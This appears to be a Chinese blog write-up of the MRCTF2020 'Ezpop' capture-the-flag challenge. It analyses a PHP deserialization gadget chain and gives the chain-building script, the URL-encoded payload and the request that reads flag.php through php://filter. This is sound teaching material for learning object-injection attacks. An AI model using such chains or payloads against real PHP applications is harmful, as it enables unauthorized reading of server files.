第六十一题——[MRCTF2020]Ezpop

Posted 2021-05-12 想学习安全的小白

题目地址：https://buuoj.cn/challenges

解题思路

第一步：进入题目，显示出源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

第二步：代码分析

1. 需要我们提交pop参数进行反序列化
2. Modifier类里面有个__invoke函数，当Modifier类的对象被当作函数执行时触发__invoke函数。
3. Show类里面有三个函数，其中__construct函数在创建Show对象时调用；__toString函数在Show对象被当作字符串执行时触发；__wakeup函数在被反序列化时出发
4. Test类里面的__get函数在调用Test类里未被初始化或不存在的成员时触发。

第三步：构建漏洞

5. Modifier类中append函数执行了include函数，可以通过include函数执行filter，获取到flag.php
6. Test类中__get函数返回是，将参数function当成了函数function()执行，让Test类中p=Modifier，可以触发Modifier类的__invoke函数
7. Show类中__toString函数调用了str成员的source成员，而str成员是个变量而Test类中不存在source成员变量，可以让Show类中str=Test，从而触发Test类的__get函数
8. Show类中__wakeup()函数让Show类的成员变量source当成字符串执行，参数正则匹配，可以让Show类中source=Show，从而触发__toString函数

第四步：获取flag

1. 构建序列化字符串：

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
	public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

结果：O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
2. 提交pop参数：?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Bs%3A3%3A"aaa"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D

3. 使用base64解码